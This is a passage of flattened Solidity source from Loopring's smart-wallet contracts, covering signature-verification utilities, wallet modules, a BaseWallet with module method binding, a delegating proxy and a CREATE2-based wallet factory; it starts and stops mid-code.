bytes32 constant internal EIP712_DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
string constant internal EIP191_HEADER = "\x19\x01";
function hash(Domain memory domain)
internal
pure
returns (bytes32)
{
uint _chainid;
assembly { _chainid := chainid() }
return keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(domain.name)),
keccak256(bytes(domain.version)),
_chainid,
domain.verifyingContract
)
);
}
function hashPacked(
bytes32 domainSeperator,
bytes memory encodedData
)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(EIP191_HEADER, domainSeperator, keccak256(encodedData))
);
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for addresses
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library AddressUtil
{
using AddressUtil for *;
function isContract(
address addr
)
internal
view
returns (bool)
{
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(addr) }
return (codehash != 0x0 &&
codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function toPayable(
address addr
)
internal
pure
returns (address payable)
{
return address(uint160(addr));
}
// Works like address.send but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETH(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
if (amount == 0) {
return true;
}
address payable recipient = to.toPayable();
/* solium-disable-next-line */
(success,) = recipient.call{value: amount, gas: gasLimit}("");
}
// Works like address.transfer but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETHAndVerify(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
success = to.sendETH(amount, gasLimit);
require(success, "TRANSFER_FAILURE");
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title Module
/// @dev Base contract for all smart wallet modules.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Module
{
/// @dev Activates the module for the given wallet (msg.sender) after the module is added.
/// Warning: this method shall ONLY be callable by a wallet.
function activate() external;
/// @dev Deactivates the module for the given wallet (msg.sender) before the module is removed.
/// Warning: this method shall ONLY be callable by a wallet.
function deactivate() external;
}
//Mainly taken from https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol
library BytesUtil {
function slice(
bytes memory _bytes,
uint _start,
uint _length
)
internal
pure
returns (bytes memory)
{
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1));
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) {
require(_bytes.length >= (_start + 2));
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint24(bytes memory _bytes, uint _start) internal pure returns (uint24) {
require(_bytes.length >= (_start + 3));
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) {
require(_bytes.length >= (_start + 4));
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) {
require(_bytes.length >= (_start + 8));
uint64 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x8), _start))
}
return tempUint;
}
function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) {
require(_bytes.length >= (_start + 12));
uint96 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0xc), _start))
}
return tempUint;
}
function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) {
require(_bytes.length >= (_start + 16));
uint128 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x10), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes4(bytes memory _bytes, uint _start) internal pure returns (bytes4) {
require(_bytes.length >= (_start + 4));
bytes4 tempBytes4;
assembly {
tempBytes4 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes4;
}
function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32));
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function fastSHA256(
bytes memory data
)
internal
view
returns (bytes32)
{
bytes32[] memory result = new bytes32[](1);
bool success;
assembly {
let ptr := add(data, 32)
success := staticcall(sub(gas(), 2000), 2, ptr, mload(data), add(result, 32), 32)
}
require(success, "SHA256_FAILED");
return result[0];
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title SignatureUtil
/// @author Daniel Wang - <[email protected]>
/// @dev This method supports multihash standard. Each signature's first byte indicates
/// the signature's type, the second byte indicates the signature's length, therefore,
/// each signature will have 2 extra bytes prefix. Mulitple signatures are concatenated
/// together.
library SignatureUtil
{
using BytesUtil for bytes;
using MathUint for uint;
using AddressUtil for address;
enum SignatureType {
ILLEGAL,
INVALID,
EIP_712,
ETH_SIGN,
WALLET // deprecated
}
bytes4 constant internal ERC1271_MAGICVALUE = 0x20c13b0b;
bytes4 constant internal ERC1271_FUNCTION_WITH_BYTES_SELECTOR = bytes4(
keccak256(bytes("isValidSignature(bytes,bytes)"))
);
bytes4 constant internal ERC1271_FUNCTION_WITH_BYTES32_SELECTOR = bytes4(
keccak256(bytes("isValidSignature(bytes32,bytes)"))
);
function verifySignatures(
bytes32 signHash,
address[] memory signers,
bytes[] memory signatures
)
internal
view
returns (bool)
{
return verifySignatures(abi.encodePacked(signHash), signers, signatures);
}
function verifySignatures(
bytes memory data,
address[] memory signers,
bytes[] memory signatures
)
internal
view
returns (bool)
{
require(signers.length == signatures.length, "BAD_SIGNATURE_DATA");
address lastSigner;
for (uint i = 0; i < signers.length; i++) {
require(signers[i] > lastSigner, "INVALID_SIGNERS_ORDER");
lastSigner = signers[i];
if (!verifySignature(data, signers[i], signatures[i])) {
return false;
}
}
return true;
}
function verifySignature(
bytes memory data,
address signer,
bytes memory signature
)
internal
view
returns (bool)
{
return signer.isContract() ?
verifyERC1271Signature(data, signer, signature) :
verifyEOASignature(data, signer, signature);
}
function verifySignature(
bytes32 signHash,
address signer,
bytes memory signature
)
internal
view
returns (bool)
{
return verifySignature(abi.encodePacked(signHash), signer, signature);
}
function recoverECDSASigner(
bytes32 signHash,
bytes memory signature
)
internal
pure
returns (address)
{
if (signature.length != 65) {
return address(0);
}
bytes32 r;
bytes32 s;
uint8 v;
// we jump 32 (0x20) as the first slot of bytes contains the length
// we jump 65 (0x41) per signature
// for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := and(mload(add(signature, 0x41)), 0xff)
}
// See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v == 27 || v == 28) {
return ecrecover(signHash, v, r, s);
} else {
return address(0);
}
}
function recoverECDSASigner(
bytes memory data,
bytes memory signature
)
internal
pure
returns (address addr1, address addr2)
{
if (data.length == 32) {
addr1 = recoverECDSASigner(data.toBytes32(0), signature);
}
addr2 = recoverECDSASigner(keccak256(data), signature);
}
function verifyEOASignature(
bytes memory data,
address signer,
bytes memory signature
)
private
pure
returns (bool)
{
if (signer == address(0)) {
return false;
}
uint signatureTypeOffset = signature.length.sub(1);
SignatureType signatureType = SignatureType(signature.toUint8(signatureTypeOffset));
bytes memory stripped = signature.slice(0, signatureTypeOffset);
if (signatureType == SignatureType.EIP_712) {
(address addr1, address addr2) = recoverECDSASigner(data, stripped);
return addr1 == signer || addr2 == signer;
} else if (signatureType == SignatureType.ETH_SIGN) {
if (data.length == 32) {
bytes32 hash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", data.toBytes32(0))
);
if (recoverECDSASigner(hash, stripped) == signer) {
return true;
}
}
bytes32 hash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(data))
);
return recoverECDSASigner(hash, stripped) == signer;
} else {
return false;
}
}
function verifyERC1271Signature(
bytes memory data,
address signer,
bytes memory signature
)
private
view
returns (bool)
{
return data.length == 32 &&
verifyERC1271WithBytes32(data.toBytes32(0), signer, signature) ||
verifyERC1271WithBytes(data, signer, signature);
}
function verifyERC1271WithBytes(
bytes memory data,
address signer,
bytes memory signature
)
private
view
returns (bool)
{
bytes memory callData = abi.encodeWithSelector(
ERC1271_FUNCTION_WITH_BYTES_SELECTOR,
data,
signature
);
(bool success, bytes memory result) = signer.staticcall(callData);
return (
success &&
result.length == 32 &&
result.toBytes4(0) == ERC1271_MAGICVALUE
);
}
function verifyERC1271WithBytes32(
bytes32 hash,
address signer,
bytes memory signature
)
private
view
returns (bool)
{
bytes memory callData = abi.encodeWithSelector(
ERC1271_FUNCTION_WITH_BYTES32_SELECTOR,
hash,
signature
);
(bool success, bytes memory result) = signer.staticcall(callData);
return (
success &&
result.length == 32 &&
result.toBytes4(0) == ERC1271_MAGICVALUE
);
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
abstract contract ERC1271 {
// bytes4(keccak256("isValidSignature(bytes,bytes)")
bytes4 constant internal ERC1271_MAGICVALUE = 0x20c13b0b;
bytes4 constant internal ERC1271_FUNCTION_WITH_BYTES_SELECTOR = bytes4(
keccak256(bytes("isValidSignature(bytes,bytes)"))
);
bytes4 constant internal ERC1271_FUNCTION_WITH_BYTES32_SELECTOR = bytes4(
keccak256(bytes("isValidSignature(bytes32,bytes)"))
);
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param _data Arbitrary length data signed on the behalf of address(this)
* @param _signature Signature byte array associated with _data
*
* MUST return the bytes4 magic value 0x20c13b0b when function passes.
* MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
* MUST allow external calls
*/
function isValidSignature(
bytes memory _data,
bytes memory _signature)
public
view
virtual
returns (bytes4 magicValue);
function isValidSignature(
bytes32 _hash,
bytes memory _signature)
public
view
virtual
returns (bytes4 magicValue)
{
return isValidSignature(abi.encodePacked(_hash), _signature);
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title BaseModule
/// @dev This contract implements some common functions that are likely
/// be useful for all modules.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract BaseModule is ReentrancyGuard, Module
{
using MathUint for uint;
using AddressUtil for address;
event Activated (address wallet);
event Deactivated (address wallet);
function logicalSender()
internal
view
virtual
returns (address payable)
{
return msg.sender;
}
modifier onlyWalletOwner(address wallet, address addr)
virtual
{
require(Wallet(wallet).owner() == addr, "NOT_WALLET_OWNER");
_;
}
modifier notWalletOwner(address wallet, address addr)
virtual
{
require(Wallet(wallet).owner() != addr, "IS_WALLET_OWNER");
_;
}
modifier eligibleWalletOwner(address addr)
{
require(addr != address(0) && !addr.isContract(), "INVALID_OWNER");
_;
}
function controller()
internal
view
virtual
returns(ControllerImpl);
/// @dev This method will cause an re-entry to the same module contract.
function activate()
external
override
virtual
{
address wallet = logicalSender();
bindMethods(wallet);
emit Activated(wallet);
}
/// @dev This method will cause an re-entry to the same module contract.
function deactivate()
external
override
virtual
{
address wallet = logicalSender();
unbindMethods(wallet);
emit Deactivated(wallet);
}
///.@dev Gets the list of methods for binding to wallets.
/// Sub-contracts should override this method to provide methods for
/// wallet binding.
/// @return methods A list of method selectors for binding to the wallet
/// when this module is activated for the wallet.
function bindableMethods()
public
pure
virtual
returns (bytes4[] memory methods);
// ===== internal & private methods =====
/// @dev Binds all methods to the given wallet.
function bindMethods(address wallet)
internal
{
Wallet w = Wallet(wallet);
bytes4[] memory methods = bindableMethods();
for (uint i = 0; i < methods.length; i++) {
w.bindMethod(methods[i], address(this));
}
}
/// @dev Unbinds all methods from the given wallet.
function unbindMethods(address wallet)
internal
{
Wallet w = Wallet(wallet);
bytes4[] memory methods = bindableMethods();
for (uint i = 0; i < methods.length; i++) {
w.bindMethod(methods[i], address(0));
}
}
function transactCall(
address wallet,
address to,
uint value,
bytes memory data
)
internal
returns (bytes memory)
{
return Wallet(wallet).transact(uint8(1), to, value, data);
}
// Special case for transactCall to support transfers on "bad" ERC20 tokens
function transactTokenTransfer(
address wallet,
address token,
address to,
uint amount
)
internal
{
if (token == address(0)) {
transactCall(wallet, to, amount, "");
return;
}
bytes memory txData = abi.encodeWithSelector(
ERC20.transfer.selector,
to,
amount
);
bytes memory returnData = transactCall(wallet, token, 0, txData);
// `transactCall` will revert if the call was unsuccessful.
// The only extra check we have to do is verify if the return value (if there is any) is correct.
bool success = returnData.length == 0 ? true : abi.decode(returnData, (bool));
require(success, "ERC20_TRANSFER_FAILED");
}
// Special case for transactCall to support approvals on "bad" ERC20 tokens
function transactTokenApprove(
address wallet,
address token,
address spender,
uint amount
)
internal
{
require(token != address(0), "INVALID_TOKEN");
bytes memory txData = abi.encodeWithSelector(
ERC20.approve.selector,
spender,
amount
);
bytes memory returnData = transactCall(wallet, token, 0, txData);
// `transactCall` will revert if the call was unsuccessful.
// The only extra check we have to do is verify if the return value (if there is any) is correct.
bool success = returnData.length == 0 ? true : abi.decode(returnData, (bool));
require(success, "ERC20_APPROVE_FAILED");
}
function transactDelegateCall(
address wallet,
address to,
uint value,
bytes memory data
)
internal
returns (bytes memory)
{
return Wallet(wallet).transact(uint8(2), to, value, data);
}
function transactStaticCall(
address wallet,
address to,
bytes memory data
)
internal
returns (bytes memory)
{
return Wallet(wallet).transact(uint8(3), to, 0, data);
}
function reimburseGasFee(
address wallet,
address recipient,
address gasToken,
uint gasPrice,
uint gasAmount,
bool skipQuota
)
internal
{
uint gasCost = gasAmount.mul(gasPrice);
if (!skipQuota) {
uint value = controller().priceOracle().tokenValue(gasToken, gasCost);
if (value > 0) {
controller().quotaStore().checkAndAddToSpent(wallet, value);
}
}
transactTokenTransfer(wallet, gasToken, recipient, gasCost);
}
}
/// @title ERC1271Module
/// @dev This module enables our smart wallets to message signers.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
abstract contract ERC1271Module is ERC1271, BaseModule
{
using SignatureUtil for bytes;
using SignatureUtil for bytes32;
using AddressUtil for address;
function bindableMethodsForERC1271()
internal
pure
returns (bytes4[] memory methods)
{
methods = new bytes4[](2);
methods[0] = ERC1271_FUNCTION_WITH_BYTES_SELECTOR;
methods[1] = ERC1271_FUNCTION_WITH_BYTES32_SELECTOR;
}
// Will use msg.sender to detect the wallet, so this function should be called through
// the bounded method on the wallet itself, not directly on this module.
//
// Note that we allow chained wallet ownership:
// Wallet1 owned by Wallet2, Wallet2 owned by Wallet3, ..., WaleltN owned by an EOA.
// The verificaiton of Wallet1's signature will succeed if the final EOA's signature is
// valid.
function isValidSignature(
bytes memory _data,
bytes memory _signature
)
public
view
override
returns (bytes4)
{
address wallet = msg.sender;
(uint _lock,) = controller().securityStore().getLock(wallet);
if (_lock > block.timestamp) { // wallet locked
return 0;
}
if (_data.verifySignature(Wallet(wallet).owner(), _signature)) {
return ERC1271_MAGICVALUE;
} else {
return 0;
}
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title BaseWallet
/// @dev This contract provides basic implementation for a Wallet.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract BaseWallet is ReentrancyGuard, Wallet
{
// WARNING: do not delete wallet state data to make this implementation
// compatible with early versions.
//
// ----- DATA LAYOUT BEGINS -----
address internal _owner;
mapping (address => bool) private modules;
Controller public controller;
mapping (bytes4 => address) internal methodToModule;
// ----- DATA LAYOUT ENDS -----
event OwnerChanged (address newOwner);
event ControllerChanged (address newController);
event ModuleAdded (address module);
event ModuleRemoved (address module);
event MethodBound (bytes4 method, address module);
event WalletSetup (address owner);
event Transacted(
address module,
address to,
uint value,
bytes data
);
modifier onlyFromModule
{
require(modules[msg.sender], "MODULE_UNAUTHORIZED");
_;
}
modifier onlyFromFactory
{
require(
msg.sender == controller.walletFactory(),
"UNAUTHORIZED"
);
_;
}
/// @dev We need to make sure the Factory address cannot be changed without wallet owner's
/// explicit authorization.
modifier onlyFromFactoryOrModule
{
require(
modules[msg.sender] || msg.sender == controller.walletFactory(),
"UNAUTHORIZED"
);
_;
}
/// @dev Set up this wallet by assigning an original owner
///
/// Note that calling this method more than once will throw.
///
/// @param _initialOwner The owner of this wallet, must not be address(0).
function initOwner(
address _initialOwner
)
external
onlyFromFactory
nonReentrant
{
require(controller != Controller(0), "NO_CONTROLLER");
require(_owner == address(0), "INITIALIZED_ALREADY");
require(_initialOwner != address(0), "ZERO_ADDRESS");
_owner = _initialOwner;
emit WalletSetup(_initialOwner);
}
/// @dev Set up this wallet by assigning an controller.
///
/// Note that calling this method more than once will throw.
/// And this method must be invoked before owner is initialized
///
/// @param _controller The Controller instance.
function initController(
Controller _controller
)
external
nonReentrant
{
require(
_owner == address(0) &&
controller == Controller(0) &&
_controller != Controller(0),
"CONTROLLER_INIT_FAILED"
);
controller = _controller;
}
function owner()
override
external
view
returns (address)
{
return _owner;
}
function setOwner(address newOwner)
external
override
nonReentrant
onlyFromModule
{
require(newOwner != address(0), "ZERO_ADDRESS");
require(newOwner != address(this), "PROHIBITED");
require(newOwner != _owner, "SAME_ADDRESS");
_owner = newOwner;
emit OwnerChanged(newOwner);
}
function setController(Controller newController)
external
nonReentrant
onlyFromModule
{
require(newController != controller, "SAME_CONTROLLER");
require(newController != Controller(0), "INVALID_CONTROLLER");
controller = newController;
emit ControllerChanged(address(newController));
}
function addModule(address _module)
external
override
onlyFromFactoryOrModule
{
addModuleInternal(_module);
}
function removeModule(address _module)
external
override
onlyFromModule
{
// Allow deactivate to fail to make sure the module can be removed
require(modules[_module], "MODULE_NOT_EXISTS");
try Module(_module).deactivate() {} catch {}
delete modules[_module];
emit ModuleRemoved(_module);
}
function hasModule(address _module)
external
view
override
returns (bool)
{
return modules[_module];
}
function bindMethod(bytes4 _method, address _module)
external
override
onlyFromModule
{
require(_method != bytes4(0), "BAD_METHOD");
if (_module != address(0)) {
require(modules[_module], "MODULE_UNAUTHORIZED");
}
methodToModule[_method] = _module;
emit MethodBound(_method, _module);
}
function boundMethodModule(bytes4 _method)
external
view
override
returns (address)
{
return methodToModule[_method];
}
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
override
onlyFromFactoryOrModule
returns (bytes memory returnData)
{
require(
!controller.moduleRegistry().isModuleRegistered(to),
"TRANSACT_ON_MODULE_DISALLOWED"
);
bool success;
(success, returnData) = nonReentrantCall(mode, to, value, data);
if (!success) {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
emit Transacted(msg.sender, to, value, data);
}
function addModuleInternal(address _module)
internal
{
require(_module != address(0), "NULL_MODULE");
require(modules[_module] == false, "MODULE_EXISTS");
require(
controller.moduleRegistry().isModuleEnabled(_module),
"INVALID_MODULE"
);
modules[_module] = true;
emit ModuleAdded(_module);
Module(_module).activate();
}
receive()
external
payable
{
}
/// @dev This default function can receive Ether or perform queries to modules
/// using bound methods.
fallback()
external
payable
{
address module = methodToModule[msg.sig];
require(modules[module], "MODULE_UNAUTHORIZED");
(bool success, bytes memory returnData) = module.call{value: msg.value}(msg.data);
assembly {
switch success
case 0 { revert(add(returnData, 32), mload(returnData)) }
default { return(add(returnData, 32), mload(returnData)) }
}
}
// This call is introduced to support reentrany check.
// The caller shall NOT have the nonReentrant modifier.
function nonReentrantCall(
uint8 mode,
address target,
uint value,
bytes memory data
)
private
nonReentrant
returns (
bool success,
bytes memory returnData
)
{
if (mode == 1) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.call{value: value}(data);
} else if (mode == 2) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.delegatecall(data);
} else if (mode == 3) {
require(value == 0, "INVALID_VALUE");
// solium-disable-next-line security/no-call-value
(success, returnData) = target.staticcall(data);
} else {
revert("UNSUPPORTED_MODE");
}
}
}
// Copyright 2017 Loopring Technology Limited.
// This code is taken from https://github.com/OpenZeppelin/openzeppelin-labs
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
abstract contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view virtual returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
fallback() payable external {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
receive() payable external {}
}
/// @title SimpleProxy
/// @author Daniel Wang - <[email protected]>
contract SimpleProxy is Proxy
{
bytes32 private constant implementationPosition = keccak256(
"org.loopring.protocol.simple.proxy"
);
function setImplementation(address _implementation)
public
{
address _impl = implementation();
require(_impl == address(0), "INITIALIZED_ALREADY");
bytes32 position = implementationPosition;
assembly {sstore(position, _implementation) }
}
function implementation()
public
override
view
returns (address)
{
address impl;
bytes32 position = implementationPosition;
assembly { impl := sload(position) }
return impl;
}
}
// Taken from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/970f687f04d20e01138a3e8ccf9278b1d4b3997b/contracts/utils/Create2.sol
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}. Note that
* a contract cannot be deployed twice using the same salt.
*/
function deploy(bytes32 salt, bytes memory bytecode) internal returns (address payable) {
address payable addr;
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "CREATE2_FAILED");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the `bytecode`
* or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes memory bytecode) internal view returns (address) {
return computeAddress(salt, bytecode, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(bytes32 salt, bytes memory bytecodeHash, address deployer) internal pure returns (address) {
bytes32 bytecodeHashHash = keccak256(bytecodeHash);
bytes32 _data = keccak256(
abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHashHash)
);
return address(bytes20(_data << 96));
}
}
/// @title WalletFactory
/// @dev A factory contract to create a new wallet by deploying a proxy
/// in front of a real wallet.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
contract WalletFactory is ReentrancyGuard
{
using AddressUtil for address;
using SignatureUtil for bytes32;
event BlankDeployed (address blank, bytes32 version);
event BlankConsumed (address blank);
event WalletCreated (address wallet, string ensLabel, address owner, bool blankUsed);
string constant public WALLET_CREATION = "WALLET_CREATION";
bytes32 public constant CREATE_WALLET_TYPEHASH = keccak256(
"createWallet(address owner,uint256 salt,string ensLabel,bytes ensApproval,bool ensRegisterReverse,address[] modules)"
);
mapping(address => bytes32) blanks;
address public walletImplementation;
bool public allowEmptyENS; // MUST be false in production
ControllerImpl public controller;
bytes32 public DOMAIN_SEPERATOR;
constructor(
ControllerImpl _controller,
address _walletImplementation,
bool _allowEmptyENS
)
{
DOMAIN_SEPERATOR = EIP712.hash(
EIP712.Domain("WalletFactory", "1.1.0", address(this))
);
controller = _controller;
walletImplementation = _walletImplementation;
allowEmptyENS = _allowEmptyENS;
}
/// @dev Create a set of new wallet blanks to be used in the future.
/// @param modules The wallet's modules.
/// @param salts The salts that can be used to generate nice addresses.
function createBlanks(
address[] calldata modules,
uint[] calldata salts
)
external
{
for (uint i = 0; i < salts.length; i++) {
createBlank_(modules, salts[i]);
}
}
/// @dev Create a new wallet by deploying a proxy.
/// @param _owner The wallet's owner.
/// @param _salt A salt to adjust address.
/// @param _ensLabel The ENS subdomain to register, use "" to skip.
/// @param _ensApproval The signature for ENS subdomain approval.
/// @param _ensRegisterReverse True to register reverse ENS.
/// @param _modules The wallet's modules.
/// @param _signature The wallet owner's signature.
/// @return _wallet The new wallet address
function createWallet(
address _owner,
uint _salt,
string calldata _ensLabel,
bytes calldata _ensApproval,
bool _ensRegisterReverse,
address[] calldata _modules,
bytes calldata _signature
)
external
payable
returns (address _wallet)
{
validateRequest_(
_owner,
_salt,
_ensLabel,
_ensApproval,
_ensRegisterReverse,
_modules,
_signature
);
_wallet = createWallet_(_owner, _salt, _modules);
initializeWallet_(
_wallet,
_owner,
_ensLabel,
_ensApproval,
_ensRegisterReverse,
false
);
}
/// @dev Create a new wallet by using a pre-deployed blank.
/// @param _owner The wallet's owner.
/// @param _blank The address of the blank to use.
/// @param _ensLabel The ENS subdomain to register, use "" to skip.
/// @param _ensApproval The signature for ENS subdomain approval.
/// @param _ensRegisterReverse True to register reverse ENS.
/// @param _modules The wallet's modules.
/// @param _signature The wallet owner's signature.
/// @return _wallet The new wallet address
function createWallet2(
address _owner,
address _blank,
string calldata _ensLabel,
bytes calldata _ensApproval,
bool _ensRegisterReverse,
address[] calldata _modules,
bytes calldata _signature
)
external
payable
returns (address _wallet)
{
validateRequest_(
_owner,
uint(_blank),
_ensLabel,
_ensApproval,
_ensRegisterReverse,
_modules,
_signature
);
_wallet = consumeBlank_(_blank, _modules);
initializeWallet_(
_wallet,
_owner,
_ensLabel,
_ensApproval,
_ensRegisterReverse,
true
);
}
function registerENS(
address _wallet,
address _owner,
string calldata _ensLabel,
bytes calldata _ensApproval,
bool _ensRegisterReverse
)
external
{
registerENS_(_wallet, _owner, _ensLabel, _ensApproval, _ensRegisterReverse);
}
function computeWalletAddress(address owner, uint salt)
public
view
returns (address)
{
return computeAddress_(owner, salt);
}
function computeBlankAddress(uint salt)
public
view
returns (address)
{
return computeAddress_(address(0), salt);
}
// ---- internal functions ---
function consumeBlank_(
address blank,
address[] calldata modules
)
internal
returns (address)
{
bytes32 version = keccak256(abi.encode(modules));
require(blanks[blank] == version, "INVALID_ADOBE");
delete blanks[blank];
emit BlankConsumed(blank);
return blank;
}
function createBlank_(
address[] calldata modules,
uint salt
)
internal
returns (address blank)
{
blank = deploy_(modules, address(0), salt);
bytes32 version = keccak256(abi.encode(modules));
blanks[blank] = version;
emit BlankDeployed(blank, version);
}
function createWallet_(
address owner,
uint salt,
address[] calldata modules
)
internal
returns (address wallet)
{
return deploy_(modules, owner, salt);
}
function deploy_(
address[] calldata modules,
address owner,
uint salt
)
internal
returns (address payable wallet)
{
wallet = Create2.deploy(
keccak256(abi.encodePacked(WALLET_CREATION, owner, salt)),
type(SimpleProxy).creationCode
);
SimpleProxy proxy = SimpleProxy(wallet);
proxy.setImplementation(walletImplementation);
BaseWallet w = BaseWallet(wallet);
w.initController(controller);
for (uint i = 0; i < modules.length; i++) {
w.addModule(modules[i]);
}
}
function validateRequest_(
address _owner,
uint _blankOrSalt,
string memory _ensLabel,
bytes memory _ensApproval,
